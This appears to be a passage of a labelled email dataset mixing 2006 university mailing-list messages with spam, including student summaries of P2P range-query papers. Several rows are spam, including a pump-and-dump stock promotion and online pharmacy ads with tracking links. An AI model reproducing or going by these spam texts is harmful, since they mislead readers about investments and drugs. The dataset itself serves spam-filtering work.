15 Feb 2006 02:28:47 -0800",Do you need to refinance?,"Do you want to re-mortgage your home? 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",1,0 dwilkins@cs.olemiss.edu,,"Wed, 15 Feb 2006 12:05:35 -0600",Reminder: XML/Web Services seminar this afternoon,"This message is being sent using E-mail to Groups ( Class Roll ). COMPUTER SCIENCE SEMINAR SERIES Applications of XML in UM Web Services Wednesday, February 15th, 3:00pm Weir Hall, Room 235 Presenter: Dr. Kathy Gates Assistant Vice Chancellor for Information Technology, University of Mississippi Extensible Markup Language (XML) is used widely in business settings to describe and exchange data in a general-purpose way. More and more applications in higher education are making use of XML as well. For example, the interface that allows University of Mississippi (UM) students to view and manage financial aid awards is based on an XML protocol between a web application server and the back-end financial aid system. Likewise, the Postsecondary Electronic Standards Council (see pesc.org) has published an XML-based standard for exchanging transcript data between institutions. This presentation will feature the ways that XML is used in UM Online Services (https://secure.olemiss.edu/services) applications and the tools that Information Technology staff members have found to be helpful. http://www.cs.olemiss.edu/csss/ ",0,1 Dawn Wilkins ,"undergrad@vogon.cs.olemiss.edu, grad@vogon.cs.olemiss.edu, faculty@cs.olemiss.edu","Wed, 15 Feb 2006 13:30:03 -0600",ACM LAN Party on Friday," ACM LAN Party : Feb 17th, 2006 starting at 5:00pm The University of Mississippi Chapter of the Association for Computing Machinery (ACM) will be having a LAN Party on Friday, February 17th, 2006 at 5:00pm in the Adler Labs on the second floor of Weir Hall. The ACM is an excellent opportunity for Computer Science students and computer enthusiasts to get to know the faculty and each other. We will be playing Quake 4, Halo, Half-Life 2, Counter-Strike Source, Call of Duty 2, Warcraft 3, and Starcraft. You don't have bring any hardware as the Adler labs are being provided to the ACM for use for this LAN Party. Don't forget to bring your headphones though! ACM will be providing pizza and drinks at this event. Non-ACM members need to bring $3; however, to join ACM the membership fee is only $5 for the entire academic year. I look forward to seeing you at the ACM LAN Party! Thanking You, Matthew Kooshad (Vice President 2005-2006) ",0,0 Leslie Rumph ,"mackay_students@unr.edu, msm@mines.unr.edu","Wed, 15 Feb 2006 13:44:26 -0800",FW: Job for undergrad or grad,"_____ From: rbedell@auex [mailto:rbedell@auex.com] Sent: Thursday, February 02, 2006 11:23 AM To: Leslie Rumph Subject: Job Leslie, We are looking for a student (graduate or undergraduate) to do part time work during the school year and possibly full time in the summer. This would include basic inputting of data into computers (GIS is helpful) and possibly leading to field work in the Summer. Enthusiasm to work in a small company where there is a dviersity of things to do would be useful as well as good general computing skills. AuEx is a small Gold Exploration Company focused on Nevada with 11 projects throughout the State. We are a recently publicly traded company in Canada and intend to grow internationally. A student who wants to get in at the ground floor and work with seasoned Economic Geologists would be ideal. I am also Adjunct Faculty in Exploration Geophysics at Mackay. Our website is a useful reference to who we are www.auex.com Many thanks, Richard Bedell Vice President rbedell@auex.com AuEx, Inc. 940 Matley Lane, suite 17 Reno, NV, 89502 USA Phone/fax (775) 337-1545/1542 www.auex.com & Adjunct Faculty Exploration Geophysics Mackay School of Earth Sciences & Engineering www.unr.edu/mines/able/",0,0 Rabow Ingegerd ,SPARC-OAForum@arl.org,"Wed, 15 Feb 2006 13:52:41 -0500",3rd Nordic Conference on Scholarly Communication,"[Apologies for cross-posting] The Registration to the 3rd Nordic Conference on Scholarly Communication, April 24-25, is open at http://www.lub.lu.se/ncsc2006/ The last day for registration is March 31. Please note that rooms at the conference hotel are reserved only to March 8. If you want to be sure of a room in this hotel, please register as soon as possible. Very welcome to Lund, Sweden! Kind regards The Organizing Committee /Ingegerd Rabow Third Nordic Conference on Scholarly Communication Beyond Declarations - The Changing Landscape of Scholarly Communication 24 - 25 April 2006, Star Hotel, Lund, Sweden Themes Open Access Infrastructure Future Financing of Scholarly Publishing Intellectual Property Rights Research Assessment Speakers Bo-Christer Björk, Swedish School of Economics and Business Administration, Helsinki, Finland Eugene Garfield, Founder & Chairman Emeritus Institute for Scientific Information - now Thomson Scientific, Philadelphia, USA Lewis Joel Greene, Brazilian Journal of Medical and Biological Research and Department of Cell and Molecular Biology Faculty of Medicine of Ribeirao Preto, University of Sao Paulo, Brazil Jean-Claude Guedon, University of Montreal, Canada Derk Haank, Springer Science+Business Media, Berlin, Germany Mathias Klang, Creative Commons, University of Göteborg, Sweden Mark McCabe, School of Economics, Georgia Institute of Technology, Atlanta, USA Mark Patterson, Public Library of Science, PLoS, UK Alma Swan, Key Perspectives Ltd, UK John Wilbanks, Science Commons, Cambridge, MA, USA Astrid Wissenburg, Economic and Social Research Council/Research Councils UK, UK",0,1 d5bcu ,egs@unix.cucs,"Wed, 15 Feb 2006 23:44:38 +0800",Forward-Thinking Investors [SUBSCRIPTION ALERT] computational defeat Chaplin glacier,"GAPJ- GOLDEN APPLE OIL/GAS Current Price: $ 0.60 Short Term Price: $ 1.50 3 Month Price: $ 4.50 Before we start with the profile of GAPJ we would like to mention something very important: There is a Big PR Campaign starting on today. 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Golden Apple focuses its activities where technology can be used effectively to maximize returns on invested capital by reducing drilling risk and enhancing its ability to cost-effectively grow reserves and production volumes. Golden Apple Oil and Gas, Inc has opened a Canadian office in Toronto, Ontario to facilitate the management of its Canadian operations. All correspondence and communication will continue to be serviced by the company's head office staff in Phoenix Arizona. GET IN NOW, DO""NT REGRET LATER ghoul Williamson loathing alkane kilometers McCracken airfield cooperate cashiers launderer condiment abject correlation films kiloton hobbles acceptability darning Verde canons butter advantageous deferred baring colonials hobbles gnat's compression Bernet Bernet execute alcohol ",1,0 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Wed, 15 Feb 2006 16:32:45 -0500",PAPER 7,"Andrew Cunningham arc39 _Geopeer_ Unusual in that it focuses mostly on overall network topology with relatively little attention paid to individual node state, Geopeer is a peer to peer system for dissemenating geographically relevant information through zones (in a fashion analgous, but unrelated, to CAN's zone-splitting in n-space; Geopeer uses triangle boundaries from Delauny triangulations of the system). We can determine to which node a point in space belongs by using modified Voronoi cells that define the set of points which are closer to a given node than to any other node, without crossing triangle boundaries. Each node uses, for its identifier, some function of its location in physical space, ensuring a non-evenly distributed covering of the space. For a system that relies on such detailed knowledge of geographical proximity, Geopeer is vulnerable to several sorts of attacks. The first is that the construction of Long Range Connections must be triggered, which means that attempts at widening the network rely on putting the load onto other nodes -- an attacker with more resources can spray the network with long range requests, bringing it to its knees. The paper also addresses a variety of specific applications/optimizations of the network; as a whole, the picture of per-node state is so sparse as to be nearly useless. _PTrees_ Unlike other systems, which search for a specific point in node-space corresponding to a datum or node, the P Trees system allows ranges to be efficiently searched for. It does this by maintaining parts of semi-independant B+ trees at each peer. Each peer maintains only the left most root-to-leaf path of its corresponding B+ tree, and relies on other peers to complete its tree. It builds this over a ring of connected peers, and achieves O(m+log[d](N)) search cost for range queries, for N the number of peers in the system, m the number of peers in the range, and d the order of the tree. It requires O(d*log[d](N)) space at each peer, and resilient to even large failures. It is a P2P application, not routing scheme, and thus usable over a system such as Chord. The paper allows peers to function under relatively loose constraints to optimize performance for insertions/deletions; it then aggravates this condition by permitting local inconsistency; it has a 'consumer' protocol running in the background -- Stabilization Process -- which smoothes out the errors. The reason that this is relevant is that the logarithmic performance of queries relies on reaching a new B+ tree level / Chord hop, which in an inconsistent system is not guaranteed -- this reduces to the normal case of searching around a ring. Finally, as presented, the entire system is required per quality searched for, which means that the entire overhead -- a separate B+ Tree portion -- must be maintained per file, so the performance is actually multiplied by some M/N, for M the number of files in the system -- precisely what this factor is is a question that this paper doesn't deal with, but anecdotally is likely to be large. However, the system *is* scalable in number of peers, as they do not assign peers roles as nodes of the tree, but rather as leaves, and each maintains a full path to the root (node, not peer). _Mercury_ Another protocol for supporting multi-attribute range-based searches, it supports multiple attributes better, and performs load balancing. It does this through sampling random nodes in a dynamic overlay network, enabling logarithmic-hop routing and nigh-uniform load balancing. The test application is a publish-subscribe mechanism over the Mercury protocol, and the authors provide a range-based query language to higher layer applications. It does this by partitioning the nodes in the system into attribute hubs (logical groupings), and each node may participate in several; it does not scale well in number of types of attributes. Then, each node in the hub connects in a circular overlay, with each node responsible for a contiguous range of attributes -- this is similar in many ways to CAN, in that it is multidimensional and has each node responsible for some range in a given direction, with neighbors in each direction along a single ring dimension; it is different in that each ring is logically separate from the others; we do not operate in n-space but instead n (mostly!) disjoint 1-spaces. Each hub then broadcasts the query to the correct sector along its ring. This paper is difficult to spot (other than security) holes in. The best performance is achieved by using the most selective attribute of the query; however, there is clearly a tradeoff here, as ""most selective"" doesn't mean most specific -- there is a commonality to consider as well. The number of queries for ""Linux"", though it is a precise string which must be matched exactly, is clearly not as precise as looking for Linux news from, say, a single date. The method of load balancing, however, explicitly creates an opportunity for sybil attacks, as we invite lightly loaded nodes to share our workload -- thus giving them an opportunity to seize control of any segment they please by spraying that area with requests while executing a sybil attack. ",0,0 Ian Kash ,egs+summary@cs.cornell.edu,"Wed, 15 Feb 2006 17:56:15 -0500",PAPER 7,"GeoPeer builds a structured P2P network based on geography. The lowest level routing infrastructure is a Delaunay triangulation which ensures that a peer's neighbors are nearby nodes. This allows it to handle location based queries or multicasts restricted to specific locations. To efficiently route long range messages, the paper explores several different techniques for establishing long range contacts. The methods for maintaining the Delaunay triangulation do not seem to be robust against churn. They essentially require nodes to reach agreement about the correct triangulation. If all the nodes agree about who is present and the nodes are in general position, this is unique so not an issue. However when things are not in general position and / or several nodes make changes in the same area that are seen at different times by different nodes it may be very messy to get the triangulation established. Also, this system is vulnerable to coordinated failures. If an ISP loses connectivity, many or all of the people in a particular geographic region may disappear. As a result they may also all attempt to rejoin at about the same time. Finally, the 24 hour cycle means that the population of an area will vary greatly over the course of the day while systems that map people randomly may have a varying number of users but each region should stay proportional. P-trees introduces a distributed version of a B+tree to allow for range queries. It achieves this by having each node store an incomplete tree and relying on requests to peers to retrieve the portions needed to complete a query. Mercury is designed to support range queries on multiple attributes. It does this by breaking the system into logical ""attribute hubs"", with each hub handling range queries on a single attribute. The nodes in that hub can then answer the multi-attribute query by filtering their results. Neither of these papers appeared to present a compelling application for this technology. The example given by Ptrees seems like it could be done as easily with discretizing the value range. For the example Mercury uses, it seems a bad idea to build this in a P2P fashion at all because of the possibility of cheating. Additionally, Mercury's solution seems highly inefficient. They not that it does not scale well in the number of attributes because each attribute hub has to maintain all the records and queries are done by searching through all the matches to filter on the other attribute. If this is only workable on small sets of attributes, why not just find an efficient way to discretize that small set? ",0,0 """Unanswerable T. Satiny"" ",Becky ,"Wed, 15 Feb 2006 14:57:06 -0500",The Ultimate Online Pharmaceuticals,"Vlihagra $3.3 Levitora $3.3 Cialais $3.7 Imitraex $16.4 Fmlomax $2.2 Ultrsam $0.78 Viowxx $4.75 Amoblem $2.2 VaIinum - $0.97 Xanfax $1.09 Sooma $3 Meripdia $2.2 visit our website http://crosborde.com/?UHJENDU1NaQHVUXx1XVA== ___ Best regards, Online Pharmaceuticals ghfgdrtpu U1NaQHVUXx1XVA== Big head, a little wit. An old fox needs no craft. Every day is not a holiday. ",1,1 Peter Suber ,SPARC-OAForum@arl.org,"Wed, 15 Feb 2006 23:27:14 -0500",Launch of Open J-Gate,"[Forwarding from Dr. Shalini R. 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Informatics is proud to launch and dedicate Open J-Gate as India’s contribution to the cause of promoting global science communication.",0,1 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Thu, 16 Feb 2006 00:22:10 -0500",PAPER 7,"Niranjan Sivakumar GeoPeer: A Location-Aware Peer-to-Peer System Querying Peer-to-Peer Networks Using P-Trees Mercury: Supporting Scalable Multi-Attribute Range Queries GeoPeer presents a slightly different routing concept than we have seen in previous papers. Rather than having randomly placing nodes in the network, GeoPeer purposefully places nodes based on their geographic location in order to aid range querying based on location. The system relies on Delaunay triangulation for creating local neighbor groups and routing in them. The system also maintains long range contacts in order to minimize network diameter and avoid some of the issues, such as latency, that would be faced if neighbor groups grew to be very large and the whole network was based on only Delaunay triangulation. The P-Trees approach presents a method to facilitate queries that are more semantically rich than simple lookups based on a key that is mapped to an object. This system is designed to be adapted to a system like Chord. The P-Trees approach is based on B+ trees. Nodes in the system essentially hold parts of the tree, and rely on other nodes in the system to complete the tree. A stabilization process is presented to deal with nodes that leave and join the system. The system is able to continue to work even in the face of changes to the network, but with some detriments to performance. Mercury is a system for multi-attribute range queries. Mercury is based on creating routing hubs that are used to handle different attributes that may be present in the data that is stored in the system. Mercury also arranges routing hubs into a ring, but like GeoPeer, this cannot be a random ring and must be ordered in a way to have data organized contiguously to facilitate the range searching. The system maintains a mechanism to poll sample nodes to get an idea of different system metrics and another mechanism for load-balancing. The load-balancing is particularly important in a system like Mercury because there may not be a uniform distribution of objects in this system. Another feature offered by the system is for caching objects at long-distance nodes. One of the issues that may arise with both GeoPeer and the P-Trees system deals with high churn systems. GeoPeer seems to have a fairly complicated procedure to deal with nodes joining or leaving the network and many messages seem to be passed between the nodes in a given locality. This could become an issue if there are rapid joins and nodes in a given neighborhood. The P-Trees system has mechanisms to deal with nodes leaving and joining the system, but it seems that performance may be noticeably degraded in a system where there are a lot of inconsistencies. One issue seen in Mercury deals with scalability. In the example of the game provided in the paper, the authors only seem to be confident in the scalability of the system up to ""thousands"" of nodes if game specific caching was implemented. However, it is not unimaginable that popular applications such as games may incorporate more information to be shared, stricter latency requirements, and many more participants, perhaps in the millions. ",0,0 Theodore Ming Shiuan Chao ,egs@cs.cornell.edu,"Thu, 16 Feb 2006 01:13:32 -0500",paper 7,"Mercury and P-Trees both address the issue of DHT's only allowing equality lookups on objects because the nature of consistent hashing makes it impossible to resolve range queries. P-Trees are made of nodes that store semi-independent B+-Trees of only the left-most root-to-leaf path, with the current node viewing its value as the smallest for the B+-Tree that it maintains (since the values are organized in a looping ring, any arbitrary value can be set as the smallest). Routing range queries are done by forwarding to the node with the largest value less than the lower bound in the partial B+-Tree maintained at the current node. Once that node becomes at the lowest level of the B+-Tree, routing becomes a straight-forward traversal of the ring until it surpasses the upper bound of the query. If the tree is consistent, then the search for the lower bound takes O(log N) steps. Mercury also maintains the values of attributes in a ring-based topology. However, whereas the nodes in P-Trees each is a unique value, the nodes in a Mercury hub are responsible for contiguous ranges of values. Each node stores several long-distance pointers to nodes responsible for other ranges, and several pointers to nodes in other hubs (of other attributes), and routing is just done on a single hub (picked using some criteria) to closest clockwise distance to the lower bound. To detect and deal with potential load imbalances within a hub, Mercury uses a (log n) TTL random sampling and moves nodes from low-load regions to high-load regions when it finds imbalances. Given the horrendous performance of the ValueLink of non-uniform ranges, it is a wonder they didn't put more emphasis on harmonic distribution of the long-distance links over the number of links (NodeLink) instead. Further more, they maintain that the random sampling will converge to a distribution with value widths inversely proportional to the popularity... but offer no analysis of the time required for it, or the cost expectancy of it. In P-Trees, the values are stored in the nodes themselves. While it allows for range queries, the implementation outlined in the paper does not allow for a mapping of objects onto nodes. Furthermore, neither of the papers investigates what would happen if an object's value changes. In P-Trees, it seems like the node would have to be removed and reinserted every time. Since the changing of the value would require rebuilding the affected partial B+-trees, there is probably no other way to handle it. In Mercury, the handling of this issue seems more robust as objects are merely placed along a ring. All changing the value would do would be to change the node responsible for the object, and possibly require a redistribution of load that would be handled by the random sampling. ",0,0 Ping-Tsai Chung ,chungp@acm.org,"Thu, 16 Feb 2006 02:34:03 -0500",CFP: The PRDBT Workshop in IKE'06 in WORLDCOMP'06,"C A L L F O R P A P E R S *POST RELATIONAL DATABASE TECHNOLOGIES* *The PRDBT Workshop* in the 2006 International Conference on Information and Knowledge Engineering (IKE'06), June 26 - 29, 2006, Las Vegas, Nevada, U.S.A. Dear Colleague: You are invited to submit a draft paper (see instructions below) to the PRDBT Workshop in IKE'06. All accepted papers will be published in the conference proceeding of IKE'06. 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Please Note: If you would like to be removed from this conference announcement list, please reply to this email with the word 'Remove PRDBT' in the subject line.",0,1 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Thu, 16 Feb 2006 02:05:14 -0500",PAPER 7,"The three papers present routing protocols for range queries in peer-to-peer systems. * Previous works such as Pastry/Chord/Tapestry support equality queries. The hash function to distribute data uniformly in these systems destroys the order in the key value space, making them impractical for processing range queries. Elimination of the hash function makes load balance in the works of range queries particular a concern. * Range query is common in relational database. These papers adapt several concepts and solutions in database systems. * GeoPeer is particularly well-suited to support location-aware applications. P-tree supports range queries in addition to equality queries, and Mercury furthermore supports multi-attribute range queries. The search cost is between O(log(N)) and O(log^2(N)) in GeoPeer, O(log(N))/O(m+log(N)) in P-tree and O(log^2(N)/k) in Mercury. Each of them is summarized below. * GeoPeer is a peer-to-peer system that is particularly well-suited to support location-aware applications such as geographically-scoped multicasts/queries. In GeoPeer nodes self-organize into a Delaunay triangulation augmented with carefully selected long range contacts to reduce network diameter. Each GeoPeer node is responsible for (communicate on behalf of) a region of points. * To create and maintain Delaunay triangulations in the face of nodes joining and leaving the system, nodes exchange specific messages with their geographically neighbors in different steps accordingly. The space division mechanism (nodes determine the circumcircle and perpendicular bisectors for each of its Delaunay triangles) ensures that any key is held by exactly one existing node. * GeoPeer uses the greedy algorithm, rather than compass, randomized compass or Voronoi, to route messages because of its simplicity. Its problem is large network diameter (latency). The use of long range contacts (LRC) can help reduce the latency: all Delaunay neighbors and LRCs are eligible to be the next hop, and the closest one to the destination is chosen for routing. * The LRCs proposed in GeoPeer include Hop Level, Hit Count Balancing, Small-World mechanisms and an eCAN-like mechanism for comparison. In the hop level mechanism, nodes maintain levels of LRCs; no more than b-1 hops are allowed in each level without creating a LRC in the next upper level. The hit count balancing mechanism takes into account the popularity of the LRCs; LRCs with very high references are split while LRCs with very low references are discarded. In the small-world mechanism, the space is divided into n squares, and a random process is run to outcome centers of the squares as LRCs. The eCAN-like mechanism repeatedly divides the space into four squares and keeps LRCs to two of them. * The experimental results show that all the LRC schemes achieve between log(N) and log^2(N) query hops even in the presence of unbalanced node distribution. Among the LRC schemes, hop level mechanism presents the best performance with a small number of LRCs as the network size increases. As it precludes the need of a priori configuration, hop level mechanism is a preferable choice when the environment is unknown. * P-tree is a peer-to-peer index structure that supports range queries in addition to equality queries. In consistent states, a P-tree provides O(logN) and O(m+logN) search cost for equality queries and range queries, where m is the number of peers in the selected range and d, the order of P-tree, serves as the base of the log. P-tree requires O(d*logN) space at each peer. * In P-tree, the search key values (attributes of data items) are regarded as a ring. The underlying ring structure is maintained by a successor-maintenance algorithm (Chord in the implementation of this paper). * The key idea behind P-tree is to maintain parts of semi-independent B+-trees at each peer; that is, each peer maintains the left-most root-to-leaf path of its B+-tree and relies on a subset of other peers to complete its tree. The sub-trees have overlapping ranges; the same data values are indexed by multiple sub-trees. In this way peers don’t need global coordination and be notified for every insertion/deletion. * Search in P-tree takes as input the lower-bound (lb) and upper-bound (ub) of the range query as well as the source peer originating the query. Each peer, when routing the query, forwards the message to the farthest pointer that doesn’t overshoot lb. Once reaching the lowest level of the P-tree, it traverses the successor list until the value of a peer exceeds ub. Any node along the route storing a value which falls in the desired range returns its value to the source peer. In a consistent state, the search procedure goes down one level of the P-tree every time the message is forwarded, so O(logN) query steps are guaranteed. * The consistency of the P-tree nodes is maintained by two co-operating processes Ping and Stabilization: Ping Process detects the inconsistencies of peer deletions/failures as well as the entries with respect to the coverage and separation properties, and Stabilization Process repairs them (in a bottom-to-top and left-to-right manner). Peer insertions are also handled based on the two processes. There is a tradeoff in deciding the frequency of Ping/Stabilization Processes (search cost vs. maintenance overhead for peer insertions/deletions). From the experimental results it claims that it’s impractical for P-tree to have high orders. * Mercury is a protocol that supports scalable multi-attribute range queries and explicit load balancing. It achieves logarithmic-hop routing and near-uniform load balancing. * In Mercury, each query is a conjunction of range in one or more typed attributes. Mercury handles multi-attribute queries by creating a routing/attribute hub for each attribute. It organizes each hub into a circular overlay of nodes with each node responsible for a continuous range of attribute values. A data record is sent to all hubs corresponding to the attributes of the data record. Queries are passed (using query selectivity) to exactly one routing hub corresponding to the attributes that are queried, and new data items are sent to all hubs for which it has an associate attribute. * Each Mercury node maintains a small number of predecessor and successor links within a hub and links to each of the other hubs. Besides, k long-distant links are selected according to a histogram maintenance scheme based on the sampling of nodes distribution (random walks over the system to determine the ranges the nodes are responsible for). It then routes more efficiently by choosing the link which takes the message closest to the destination. * From the experimental results it claims that caching (LRU replacement or direct-mapped) is an important optimization that Mercury can easily incorporate into its basic protocol. In addition, Mercury achieves load balance by moving around nodes and changing their responsibilities according to the loads. * This paper also presents a distributed object management framework based on Mercury. By providing a range-based query language, Mercury allows applications to express their publications and subscriptions to objects lookups/updates flexibly. The framework can be used as a building block for distributed applications, in which instances are interested in a subset of the entire application state.",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Thu, 16 Feb 2006 02:25:16 -0500",PAPER 7,"GEOPEER GeoPeer is Peer-to-Peer overlay network designed to support location aware operations. Rather than randomly hashing node IP addresses into an identifier space, node locations in GeoPeer are the node's identifier. A number of long range contacts keeps the diameter of the GeoPeer network low. Objects to be stored in the network are hashed to virtual positions in the physical space. Routing as well as partitioning the object identifier space for ownership in GeoPeer is based on Delaunay triangulation. Directly correlating location in the GeoPeer identifier space to the underlying network allows at least two interesting services, including geographically scoped multicast, and geographically scoped queries. GeoPeer has several mechanisms to reduce the diameter of the network, all using long range connections (LRCs). The first is what the authors call hop level, where by which a maximum number of hops per query is arbitrarily set. If a node cannot reach an object, it forms a LRC with the node furthest towards the target and retries the query. Another mechanism is called hit count balancing. LRCs are evenly distributed throughout the network. Periodically, often used LRCs are split and less used are removed. The final mechanism, called small world, divides the identifier space into a number of smaller regular segments and chooses a random subset of centers of these segments as LRCs. Unfortunately GeoPeer produces a range of O(log N) to O(log^2 N) lookups depending on the LRC scheme, which is not notably good compared to other DHT schemes. P-TREES The primary purpose of the P-Tree structure is to allow structured queries such as range queriesand equality queries, which cannot be achieved in many DHT schemes due to the random hashing of object IDs into the identifier space. The P-Tree is in essence a distributed set of semi-independent partial B-Trees. Partial overlap between sub- trees is allowed to allow independent tree changes and keep coordination traffic low. A node stores keys which fall on it's leftmost root-to-leaf path. This results in a predecessor/successor situation where the Chord algorithm is used to maintain the leftmost root-to-leaf path criteria. Periodic stabilization and ping processes are used to detect node failures and keep the tree structure even to maintain O(log N) queries. There is a tradeoff in this structure between the width of a tree at each node and the depth of the entire P-tree, trading off query latency for node insertion/ deletion cost. Dynamically optimizing aspect ratio of the P-tree is an issue not addressed by the authors. P-Trees do, however, allow for efficient range queries, which can similarly be achieved by GeoPeer with geographically scoped queries. MERCURY Mercury differs from GeoPeer and P-Trees in that is supports multi- attribute range queries. It does however yield O(log N) lookup times and does not hash objects randomly across the identifier space. Therefore, it also requires a periodic load balancing system to maintain an even distribution of objects across nodes. Mercury routing functions as follows: Nodes are organized into attribute hubs for an attribute, with hubs as orthogonal in a virtual space with one dimension in that space for each attribute. Nodes within a hub are arranged in a ring structure. The first hop of a query is towards the appropriate hub, with further matching taking place around the ring of nodes associated with that hub. Within these rings, there are long distance links which reduce the object search times. Nodes within this ring keep a number of successor and predecessor links, allowing maintenance of the ring when nodes join or leave the network. Also, a random walk scheme is used to periodically estimate the state of the network and potentially rebalance the hubs. ",0,0 Gisselle Wrenn ,magdalena@astron.Berkeley.EDU,"Wed, 15 Feb 2006 22:48:50 -0500",putting lot of stress?,"! westward try gaze be lisle a basic some what'd ",1,0 Victoria Krafft ,egs+summary@cs.cornell.edu,"Thu, 16 Feb 2006 00:35:36 -0800",PAPER 7,"For this Thursday, the papers focus on p2p networks which can handle range queries, such as ""All the objects with a value between 7 and 16"". So far, the networks we've looked have generally used a hash function to assign a key to each object. This makes range queries expensive, since the hash function will scatter similar objects across the network, resulting in a lot of network traffic. The first system, GeoPeer, is actually designed to be a system which can support location-aware services. In many ways, this is a specialized version or range queries, where you have two variables, latitude and longitude. In this system, the basic routing structure is a planar Delaunay triangulation, with long-range links to reduce distances. This gives O(1) connections from each node, and the experimental results suggest that routing a message through the network is O(log N) to O(log^2 N). Load balancing is managed to some extent by duplicating heavily used long range links to share the workload. One area which might be a problem is the process of re-building the Delaunay structure after a node fails. The amount of work needed to fix the structure could become too expensive in a network with high churn. The second system, P-Trees, are somewhat more complicated. The search key values put into a ring structure, with the highest value wrapping around to the lowest. Then, each node stores a partial B+-tree, the root-to-leaf path of its search key. This results in O(log N) search when the system is in a consistent state, and only requires O(d*log N) storage at each node. In order to maintain the network, nodes periodically ping each other to see who is still alive. Also, a Stabilization Process is run periodically to fix the tree structure at a given node. One potential problem here is that when the network is in an unstable state because of nodes joining and leaving, query messages take much longer. If network churn gets too high, then many queries will take longer, and potentially need to be resent, further slowing the already stressed network. The third system is Mercury, which supports multiple attributes and uses a ring-based topology, with one ring hub for each attribute. It cannot use a hash function to distribute the objects, so instead it just stores the objects in order, and runs a load balancing algorithm to prevent nodes from being overloaded. The message routing algorithm provides O(log^2 (N/k)), where k is the number of links each node has to other nodes. The authors also show how Mercury can be used to create a publish/subscribe system. The load balancing algorithm which they propose is that nodes which are heavily loaded find nodes with a light load, and ask them to move to take some of the load off the heavily loaded node. If the network is experiencing heavy enough churn, then nodes will constantly be moving to balance the load, which will only increase the churn on the network. -- Victoria Krafft ",0,0 Royston Vanscoy ,dwilkins@sunrise.cs.olemiss.edu,"Wed, 15 Feb 2006 22:05:04 -0700",Re: AMBgtEN news,"Hi, V A C P L V X A m I r e I a L b A o v A n I i L z i G a U e I a t R x M n S c ra A http://www.latesolas.com Hail Thorin! Why do you fence yourself like a robber in his hold? We are not yet foes, and we rejoice that you are alive beyond our hope. We came expecting to find none living here; yet now that we are met there is matter for a parley and a council. Who are you, and of what would you parley? I am Bard, and by my hand was the dragon slain and your treasure ",1,1 Ari Rabkin ,egs+summary@cs.cornell.edu,"Thu, 16 Feb 2006 02:11:37 -0500",PAPER 8," Range queries: GeoPeer: The central goal of Geopeer is to produce a location-aware peer to peer substrate. Instead of being labelled by a random hash, nodes are located in the system by their physical coordinates; messages can then be routed to points near nodes in Euclidean space. This may be useful for some sorts of location-aware systems, such as sensor networks. The authors accomplish this with a protocol that allows nodes to spontaneously form a Delauny triangularization (a planar triangle mesh with particular edge length properties) I'm very suspicious of their long-range contacts system. The analysis is unpersuasive: for below a few hundred nodes, it would probably be easier to just keep a complete node list; the system is only interesting for large networks. And their evaluation data doesn't explore large values of N. Also, if the system is deployed on a large scale, node density is likely to be extremely variable --Manhattan might have more nodes than all of the midwest. It is unclear how this will impact system performance, and in particular the choice of long distance links. Mercury: Mercury and P-Trees are both motivated by the same problem: the DHT operations of put and get are simply not adequate to the task of range queries. Mercury attempts to solve this in a peer-to-peerish way, by defining a distributing processing scheme. Mercury groups nodes into logical ""attribute groups"" for each field in the schema, and then does the range query within the attribute group. Mercury handles multi-attribute queries, but will choke as the schemas and queries grow larger--each query takes place over essentially one attribute hub, and a conjunction of large ranges will not be handled well. It's not clear how to extend mercury to handle reliable replication, nor how to handle failures in mid-query. P-Trees: While mercury is a systems-ish approach, P-trees are essentially a generalization of single-machine database data structures (in particular, they are a generalization of B-trees) to the peer-to-peer realm. The P-Trees is a relative of the B+ tree suitable for peer-to-peer systems. Each node stores a part of the overall tree. In this way, range queries can be sent to the nodes responsible for each part of the range, and the overall answers collected. Unfortunately, it is not clear how well P-trees scale to large numbers of nodes--if a node fails, the tree will be temporarily unstable. The authors have a stabilization procedure running to smooth out inconsistencies. As the network grows larger though, the number of node failures per second increases (for constant failure rate), and so the process has more and more work. There presumably is a point where the stabilization process is overloaded, and the system does not converge. If the system isn't stable, then queries will take significantly longer--raising the probability that a node dies in mid-query. Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Nicholas S Gerner ,egs+summary@cs.cornell.edu,"Thu, 16 Feb 2006 09:32:46 -0500",PAPER 7,"""Mercury..."", ""P-Trees..."" and ""GeoPeer..."" all provide a range query extension to the routing mechanisms we've seen provided by DHTs. ""Mercury..."" builds a set of ring overlays very similar to the work of other DHTs we've seen so far. However, the identifier space in Mercury is not distributed by a hash function. Instead values are laid on the ring in contigous ranges (e.g. ids 2,3,4,... correspond to sequential integers 2,3,4,... in some attribute-value space). Routing occurs by first choosing an appropriate ring for an attribute range (each ring in Mercury corresponds to one attribute) and then routing along that ring to the first value in the range using ring mechanisms we've seen already. The ring is then scanned sequentially (using successor pointers) to retrieve all nodes containing relevant data-items. Mercury also provids system-wide metric estimation techniques for load distribution, node distribution and query selectivity. These estimates allow for non-uniform ring-range assignment to nodes to balance load, allow for selection of long-range contacts (similar to Chord's finger pointers), and allow for selection of the most selective attribute ring for a query to minimize query flooding. This achieves O(m' + log^2 n) routing performance (where m' is the number of nodes holding data-items relevant to the most selective range in a query). ""P-Trees"" also builds on a ring-based DHT. A P-Tree acts like a distributed B+ tree, where each peer in the network holds tree-nodes along the left-most root-to-leaf path. A P-Tree loosens some requirements of a B+ tree to allow for more tolerance in the face of a dynamic network. GeoPeer is a very different system. GeoPeer focusses on geographical attributes (specifically x-y coordinates) and builds a Delaunay Triangulation overlay on that space. The triangulation connects nodes to their ""nearest neighbors"" in the Delaunay triangulation sense. Given that basic topology, Geopeer adds k long-range contacts (motivated by Klienberg's Small Worlds) to achieve O(1/k log^2 n) routing. Geographical queries are answered by sending the query into the desired region and doing limited flooding within that region. ""Mercury..."" and ""P-Trees..."" build on existing DHT work and point to the properties provided by these systems. The contribution of these systems is to provide a range-query mechanism (and in the case of Mercury, metric estimation techniques). It's not clear that Mercury's O(m' + log^2 n) routing performance is somehow a lower bound that is difficult to overcome. And Mercury's application (Caduceus), while whimsical doesn't motivate scalability and wide applicability. ""P-Trees..."" is well rooted in database theory, and provides O(m + log n) routing performance which is an improvement, but no presentation of the true cost of the overhead of maintaining the tree is presented (in a way comparable to the overhead of DHTs for example). GeoPeer takes a wholly new approach to range based query fulfillment, and a construction mechanism resiliant to unbalanced node distribution is also presented, but methods to address hotspots (an important aspect of systems given GeoPeers suggested applications) are not discussed and these issues may weaken some of GeoPeer's 